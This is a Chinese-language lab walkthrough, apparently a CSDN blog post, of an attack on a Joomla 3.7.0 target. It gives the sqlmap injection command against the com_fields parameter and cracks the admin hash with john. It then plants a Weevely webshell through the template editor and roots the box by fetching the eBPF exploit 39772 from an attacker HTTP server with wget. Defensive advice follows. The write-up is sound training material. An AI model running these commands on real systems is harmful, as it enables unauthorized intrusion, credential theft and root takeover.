Joomla 3.7.0 渗透测试全流程复现:从信息收集到本地提权

文章目录

声明:本文内容仅用于 CTF 靶场学习与安全研究,所有操作均在授权的虚拟靶机环境中完成。严禁将本文技术用于未授权的真实系统。


项目背景(Situation)

客户 :某网络安全培训机构
时间 :2024 年 11 月
环境 :封闭式实战靶场,目标系统为运行 Joomla 3.7.0 的 Linux 服务器
目标:模拟真实攻击视角,完整复现从外网信息收集到获取服务器 root 权限的攻击链,并输出可供教学的分析笔记

客户希望通过该实战项目,让学员深入理解 CMS 类系统的常见攻击面,包括 SQL 注入、WebShell 写入及内核本地提权,从而建立完整的攻防知识体系。


任务拆解(Task)

整个攻击链分为以下五个阶段:

  1. 信息收集:识别目标 Web 服务与 CMS 类型
  2. 漏洞发现:利用专用扫描器与漏洞库定位已知漏洞
  3. 漏洞利用:通过 SQL 注入获取数据库中的账号凭据
  4. 权限维持:写入 WebShell,建立稳定的命令执行通道
  5. 本地提权 :结合内核漏洞将权限从 www-data 提升至 root

实施过程(Action)

阶段一:信息收集

Nmap 扫描确认目标仅开放 80 端口,随后使用 WhatWeb 对 Web 服务进行指纹识别:

bash 复制代码
whatweb http://[目标IP]

输出结果中可以看到 Apache 服务器信息及 Joomla 相关特征。确认 CMS 类型后,使用 Joomla 专用扫描器进行深度探测:

bash 复制代码
joomscan --url http://[目标IP]

知识点:主流 CMS(Joomla、WordPress、Drupal)都有对应的专用扫描工具,原理是基于对该 CMS 特有目录结构、文件路径、响应特征的规则匹配。有 Python 基础的同学可以尝试自己实现一个。

扫描结果关键信息:

  • 未发现 WAF(防火墙)
  • 发现后台路径:/administrator
  • CMS 版本:Joomla 3.7.0

阶段二:漏洞发现

版本信息是关键。使用 Kali 内置的 searchsploit 在本地漏洞库中检索:

bash 复制代码
searchsploit Joomla 3.7.0

命中一个 SQL 注入漏洞 ,编号 42033,将其拷贝到本地查阅:

bash 复制代码
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt ./42033.txt

打开文件后,漏洞文档提供了基于 sqlmap 的完整利用命令,注入点位于 Joomla 的某个组件参数中。


阶段三:SQL 注入获取凭据

Step 1 --- 枚举数据库名:

bash 复制代码
sqlmap -u "http://[目标IP]/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" \
  --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

发现目标数据库:joomladb

Step 2 --- 枚举表名:

bash 复制代码
# 将 --dbs 替换为 -D joomladb --tables

在众多数据表中,#__users 表最具价值(Joomla 用户表命名惯例,# 会替换为配置中的表前缀)。

Step 3 --- 枚举字段并导出数据:

bash 复制代码
# 依次使用 --columns 查看字段,再用 -C name,password --dump 导出

成功获取管理员账号:admin,以及对应的哈希密码。

Step 4 --- 离线破解密码:

将哈希值保存至文件,使用 john 进行字典攻击:

bash 复制代码
echo '[哈希值]' > hash.txt
john hash.txt

破解结果:密码为 snoopy

知识点 :Joomla 使用 bcrypt 加密密码,john 支持自动识别哈希类型。离线破解的优势在于不触发登录失败锁定策略。


阶段四:写入 WebShell

使用破解的凭据登录后台 http://[目标IP]/administrator

Joomla 模板编辑器 允许管理员直接编辑 PHP 模板文件,这是一个典型的高危功能

路径:Extensions → Templates → Templates → [选择模板] → New File

新建文件 test1.php,先验证代码执行:

php 复制代码
<?php echo 'haha'; ?>

访问 http://[目标IP]/templates/protostar/test1.php,页面输出 haha,确认代码可执行。

随后使用 Weevely 生成加密 WebShell:

bash 复制代码
weevely generate 123456 webshell.php

将生成的混淆代码粘贴到 test1.php 中保存,建立连接:

bash 复制代码
weevely http://[目标IP]/templates/protostar/test1.php 123456

知识点 :Weevely 生成的 WebShell 是变形的一句话木马,对内容做了 Base64 + 字符替换混淆,能一定程度上绕过简单的特征检测。help 命令可查看其内置的数十个后渗透模块。

在 WebShell 中执行基础信息收集:

bash 复制代码
whoami          # 输出:www-data
cat /etc/passwd # 查看系统用户,找到有 home 目录的真实用户
uname -a        # 查看内核版本
lsb_release -a  # 确认发行版:Ubuntu 16.04

阶段五:本地提权

已知系统为 Ubuntu 16.04 + Linux 内核 4.4.x,在漏洞库中搜索:

bash 复制代码
searchsploit Ubuntu 16.04

发现内核提权漏洞 39772(eBPF 本地提权),下载查阅:

bash 复制代码
cp /usr/share/exploitdb/exploits/linux/local/39772.txt ./39772.txt

文档说明需要从 GitHub 下载编译好的利用程序。攻击机开启临时 HTTP 服务:

bash 复制代码
python -m SimpleHTTPServer 8000
# Python3 用户:python3 -m http.server 8000

WebShell 中将文件下载到目标机器并执行提权:

bash 复制代码
# 在 weevely 的 :shell_sh 模式下
wget http://[攻击机IP]:8000/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh     # 编译
./doubleput      # 执行提权
whoami           # 输出:root ✓

至此,完整攻击链复现完毕。


结果与总结(Result)

攻击链全貌

复制代码
信息收集 (WhatWeb/Joomscan)
    ↓
漏洞识别 (Searchsploit → CVE SQL注入)
    ↓
SQL注入 (Sqlmap → 获取哈希)
    ↓
密码破解 (John → 明文密码)
    ↓
后台登录 → 模板编辑器写入 WebShell (Weevely)
    ↓
本地提权 (内核漏洞 39772 → root)

关键工具速查

工具 用途
whatweb Web 指纹识别,快速判断 CMS 类型及版本
joomscan Joomla 专用扫描,枚举敏感路径与版本
searchsploit 本地漏洞库检索,离线可用
sqlmap 自动化 SQL 注入利用
john 离线哈希破解
weevely 加密 WebShell 生成与管理

防御建议

从防守视角,以下措施可有效阻断上述攻击链:

  1. 及时升级 CMS 版本:Joomla 3.7.0 的 SQL 注入漏洞已有公开 PoC,升级是最根本的修复手段
  2. 关闭模板在线编辑功能:在 Joomla 后台全局配置中禁用,防止 WebShell 写入
  3. 最小权限原则 :Web 服务进程不应以高权限运行,限制 www-data 的文件写入范围
  4. 内核及时更新:本地提权利用的是已知内核漏洞,定期更新系统补丁可消除此类风险
  5. 部署 WAF:对 SQL 注入特征流量进行拦截与告警

客户评价

"该靶场实战记录逻辑清晰、工具使用规范,攻击链完整覆盖了 CMS 渗透的经典路径。尤其是模板编辑器写 Shell 这一环节的演示,直观展示了 CMS 高危配置的危害,是非常好的教学素材。" ------ 某网络安全培训机构,课程负责人


如有疑问或勘误,欢迎在评论区交流。后续将持续更新更多靶场实战复现内容。

相关推荐
网络安全许木11 小时前
自学渗透测试第16天(Linux文本处理进阶)
linux·运维·服务器·网络安全·渗透测试
网络安全许木1 天前
XSS渗透与防御
网络安全·渗透测试·xss
mooyuan天天2 天前
AI大模型辅助Web渗透测试-TRAE智能体自动化解CTF题(命令执行 powershell)
人工智能·web安全·渗透测试·ctf·ai辅助渗透测试
ChaITSimpleLove2 天前
软件测试策略全面指南:从单元测试到混沌工程的多维度分析
渗透测试·单元测试·集成测试·压力测试·系统测试·test
网络安全许木3 天前
自学渗透测试第14天(信息收集进阶与指纹识别)
linux·网络安全·渗透测试
网络安全许木4 天前
自学渗透测试第15天(基础复习与漏洞原理入门)
linux·网络安全·渗透测试·kali linux
悟道子HD4 天前
SRC漏洞挖掘——2.SQL注入漏洞实战详解
sql·web安全·网络安全·渗透测试·sql注入·sqlmap·暴力破解
交个_朋友5 天前
HTB SwagShop writeup(一个框架两个洞,sudo提权常使用)
渗透测试·oscp·htb
程序员晓晓5 天前
【网络安全零基础入门】应急响应之服务器入侵排查,小白零基础入门到精通教程
服务器·web安全·计算机·网络安全·渗透测试·黑客技术·网安应急响应